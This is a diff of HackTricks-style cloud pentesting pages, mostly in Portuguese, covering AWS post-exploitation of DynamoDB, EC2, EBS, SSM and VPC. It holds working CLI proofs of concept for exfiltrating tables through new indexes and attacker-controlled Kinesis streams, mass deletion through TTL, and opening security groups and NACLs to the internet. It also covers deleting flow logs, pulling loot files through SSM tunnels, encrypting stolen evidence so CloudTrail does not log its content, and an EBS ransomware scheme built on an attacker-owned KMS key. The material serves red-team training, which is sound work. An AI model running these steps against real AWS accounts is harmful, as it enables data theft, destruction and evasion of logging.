- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passos (PoC em us-east-1):
|
||||
```bash
|
||||
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impacto potencial:** Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
|
||||
**Impacto Potencial:** Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltração contínua via Kinesis Data Streams)
|
||||
|
||||
Abusar de DynamoDB Kinesis streaming destinations para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, cada evento INSERT/MODIFY/REMOVE é encaminhado em quase tempo real para o stream sem necessidade de permissões de leitura na tabela.
|
||||
Abusar dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente mudanças de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, cada evento INSERT/MODIFY/REMOVE é encaminhado em quase tempo real para o stream sem necessidade de permissões de leitura na tabela.
|
||||
|
||||
Permissões mínimas (atacante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na tabela alvo
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorar o status
|
||||
- Permissões de leitura no stream Kinesis controlado pelo atacante para consumir registros: `kinesis:*`
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -529,10 +528,45 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Um atacante com a permissão dynamodb:UpdateTimeToLive pode alterar a configuração de TTL (tempo de vida) de uma tabela — ativando ou desativando o TTL. Quando o TTL está ativado, itens individuais que contêm o atributo de TTL configurado serão excluídos automaticamente assim que seu tempo de expiração for atingido. O valor de TTL é apenas outro atributo em cada item; itens sem esse atributo não são afetados pela exclusão baseada em TTL.
|
||||
|
||||
Se os itens ainda não contiverem o atributo de TTL, o atacante também precisaria de uma permissão que atualize itens (por exemplo dynamodb:UpdateItem) para adicionar o atributo de TTL e disparar exclusões em massa.
|
||||
|
||||
Primeiro habilite o TTL na tabela, especificando o nome do atributo a ser usado para a expiração:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Então atualize os itens para adicionar o atributo TTL (segundos epoch) para que expirem e sejam removidos:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Um atacante com as permissões dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime pode criar novas tabelas restauradas de backups ou de point-in-time recovery (PITR) sem sobrescrever a tabela original. A tabela restaurada contém uma imagem completa dos dados no ponto selecionado, portanto o atacante pode usá-la para exfiltrar informações históricas ou obter um dump completo do estado anterior do banco de dados.
|
||||
|
||||
Restaurar uma tabela do DynamoDB a partir de um backup sob demanda:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Restaurar uma tabela do DynamoDB para um ponto no tempo (criar uma nova tabela com o estado restaurado):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Impacto potencial:** Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado pelo atacante sem operações diretas de leitura na tabela.
|
||||
|
||||
|
||||
**Impacto Potencial:** Exfiltration contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado por um atacante sem operações de leitura diretas na tabela.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Pós-Exploração
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Para mais informações, veja:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,10 @@ Para mais informações, veja:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
|
||||
|
||||
For more information check this page:
|
||||
Para mais informações, veja esta página:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (veja [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
|
||||
Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (veja [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots são backups de volumes**, que geralmente contêm **informações sensíveis**, portanto verificá-los deve revelar essas informações.\
|
||||
Se você encontrar um **volume** sem um **snapshot** você poderia: **criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta:
|
||||
**Snapshots são backups de volumes**, que normalmente contêm **informações sensíveis**, portanto verificá‑los deve revelar esses dados.\
|
||||
Se você encontrar um **volume sem snapshot** você pode: **Criar um snapshot** e executar as seguintes ações ou simplesmente **montá‑lo em uma instância** dentro da conta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem snapshot sharing. Isso permite forense offline completa ou data theft enquanto mantém a rede da instância intacta.
|
||||
Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem compartilhamento de snapshot. Isso permite forense offline completa ou roubo de dados enquanto mantém a rede da instância inalterada.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Anexe um volume io1/io2 Multi-Attach a uma segunda instância e monte-o em read-only para extrair dados ao vivo sem snapshots. Útil quando o volume vítima já tem Multi-Attach habilitado dentro da mesma AZ.
|
||||
Anexe um volume io1/io2 com Multi-Attach a uma segunda instância e monte‑o em modo read-only para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crie um EC2 Instance Connect Endpoint, autorize o ingress e injete chaves SSH efêmeras para acessar instâncias privadas por um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
Crie um EC2 Instance Connect Endpoint, autorize o ingress e injete chaves SSH efêmeras para acessar instâncias privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
Mova o secondary private IP de uma ENI da vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão na lista de endereços permitidos por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que aparentem vir de IPs públicos confiáveis.
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que parecem vir de IPs públicos confiáveis.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso em todas as regras de SG dependentes sem modificar o SG em si.
|
||||
Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso por todas as regras de SG dependentes sem modificar o SG em si.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso de saída a partir de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna a falta de controles IGW/NAT para data exfiltration.
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso de saída a partir de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles ausentes de IGW/NAT para exfiltração de dados.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras de entrada a security groups (por exemplo, permitindo tcp:80 de 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou semelhantes) pode modificar os Network ACLs (NACLs) de uma subnet para torná‑los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível da subnet, portanto alterar um NACL restritivo pode ter um raio de impacto muito maior ao permitir acesso a muitos mais hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos de infraestrutura críticos e configurações — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou rules, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata de serviço, perda de dados e perda de evidências forenses.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (source/destination, ports) fora da conta vítima para reconhecimento de longo prazo.
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -124,52 +150,52 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Mesmo que você bloqueie um EC2 para que nenhum tráfego saia, ele ainda pode exfil via DNS.
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- VPC Flow Logs não vai registrar isso.
|
||||
- Você não tem acesso aos AWS DNS logs.
|
||||
- Desative isso definindo "enableDnsSupport" como false com:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver o exfiltrate data nos logs do Cloudtrail.
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Você pode obter mais acesso a serviços de rede abrindo portas assim:
|
||||
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
É possível executar uma EC2 instance e registrá-la para que seja usada para executar ECS instances e, em seguida, roubar os dados dessas instâncias ECS.
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e então exfiltrar os dados das instâncias ECS.
|
||||
|
||||
Para [**mais informações, veja isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Remover VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
Permissões necessárias:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Além da execução de comandos, o SSM permite tunelamento de tráfego, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isso é útil é pivoting de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso à rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isso é útil é o pivoting a partir de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
|
||||
> Para iniciar uma sessão é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Para iniciar uma sessão você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Instale o SessionManagerPlugin na sua máquina
|
||||
2. Faça login no Bastion EC2 usando o seguinte comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
5. Faça login no EKS como o Bastion EC2:
|
||||
```shell
|
||||
@@ -184,39 +210,39 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataque MitM.
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou o equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataques MitM.
|
||||
|
||||
Finalmente, esta técnica não é específica para atacar clusters privados EKS. Você pode definir domínios e portas arbitrários para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
Por fim, esta técnica não é específica para atacar clusters privados EKS. Você pode definir domínios e portas arbitrários para realizar um pivot para qualquer outro serviço AWS ou uma aplicação customizada.
|
||||
|
||||
---
|
||||
|
||||
#### Encaminhamento Rápido de Porta Local ↔️ Remota (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Se você só precisa encaminhar **uma porta TCP da instância EC2 para sua máquina local**, você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
|
||||
Se você só precisa encaminhar **uma porta TCP do EC2 instance para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir quaisquer regras de inbound do Security-Group**.
|
||||
O comando estabelece um túnel bidirecional entre sua estação de trabalho (`localPortNumber`) e a porta selecionada (`portNumber`) na instance **sem abrir nenhuma regra de inbound do Security-Group**.
|
||||
|
||||
Common use cases:
|
||||
Casos de uso comuns:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
|
||||
1. Na instance, inicie um servidor HTTP rápido apontando para o diretório que você quer exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Do seu workstation, busque os arquivos através do túnel SSM:
|
||||
2. Da sua estação de trabalho, recupere os arquivos através do túnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Acesso a aplicações web internas (por exemplo Nessus)**
|
||||
* **Acessando aplicações web internas (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Dica: Compress and encrypt as evidências antes de exfiltrating, para que CloudTrail não registre o conteúdo em clear-text:
|
||||
Dica: Compress and encrypt evidence antes de exfiltrating, para que o CloudTrail não registre o conteúdo em clear-text:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -233,9 +259,9 @@ Dica: Compress and encrypt as evidências antes de exfiltrating, para que CloudT
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Pesquisar informações sensíveis em AMIs públicas e privadas
|
||||
### Procurar informação sensível em AMIs públicas e privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e escanear por potenciais secrets ou dados sensíveis.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informação sensível dentro de Amazon Machine Images públicas ou privadas (AMIs)**. Ela automatiza o processo de iniciar instâncias a partir de AMIs alvo, montar seus volumes e escanear em busca de possíveis secrets ou dados sensíveis.
|
||||
|
||||
### Compartilhar EBS Snapshot
|
||||
```bash
|
||||
@@ -243,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uma prova de conceito similar à demonstração de Ransomware mostrada nas notas de post-exploitation do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) devido à facilidade de uso para criptografar vários serviços da AWS com ele.
|
||||
Uma prova de conceito similar à demonstração de Ransomware apresentada nas notas de post-exploitation do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) pela facilidade de uso para criptografar vários serviços da AWS.
|
||||
|
||||
Primeiro, a partir de uma conta AWS 'attacker', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um agente malicioso manteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de policy permitindo acesso total chama-se 'Outside Encryption'
|
||||
Primeiro, a partir de uma conta AWS de 'atacante', crie uma customer managed key no KMS. Para este exemplo vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal utilize a chave. Para esta key policy, o nome da conta era 'AttackSim' e a regra da policy que permite acesso total chama-se 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +363,7 @@ Primeiro, a partir de uma conta AWS 'attacker', crie uma chave gerenciada pelo c
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
A regra da key policy precisa ter o seguinte habilitado para permitir a capacidade de usá-la para criptografar um volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,21 +371,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Agora, com a chave publicamente acessível para uso. Podemos usar uma conta 'victim' que tem algumas instâncias EC2 rodando com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'victim' são o que estamos mirando para criptografia; este ataque pressupõe o comprometimento de uma conta AWS com altos privilégios.
|
||||
|
||||
 
|
||||
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
Semelhante ao exemplo de ransomware em S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave publicamente disponível da conta 'attacker' para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e por fim excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
|
||||
|
||||
|
||||
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
Também vale notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados foram removidos agora.
|
||||
|
||||
|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
Em seguida, retorne à key policy na conta 'attacker' e remova a regra de política 'Outside Encryption' da key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -430,15 +456,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
|
||||
]
|
||||
}
|
||||
```
|
||||
Aguarde um momento para que a nova key policy propague. Em seguida, retorne para a conta 'victim' e tente anexar um dos volumes EBS recém-encriptados. Você verá que é possível anexar o volume.
|
||||
Aguarde um momento para a nova key policy se propagar. Em seguida, retorne para a conta 'victim' e tente anexar um dos volumes EBS recém-encriptados. Você verá que consegue anexar o volume.
|
||||
|
||||
 
|
||||
|
||||
Mas quando você tenta realmente iniciar a instância EC2 com o volume EBS encriptado, ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, porque a key policy não permite mais.
|
||||
Mas quando você tenta realmente reiniciar a instância EC2 com o volume EBS encriptado, ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser decriptado usando a key porque a key policy não permite mais.
|
||||
|
||||
 
|
||||
|
||||
Este é o script python usado. Ele recebe AWS creds para uma conta 'victim' e um ARN público da AWS para a chave a ser usada na encriptação. O script fará cópias encriptadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então vai parar todas as instâncias EC2, desanexar os volumes EBS originais, deletá-los, e finalmente deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS encriptados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E VAI DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas quero apenas alertar que, no fim das contas, isto é um ransomware PoC.
|
||||
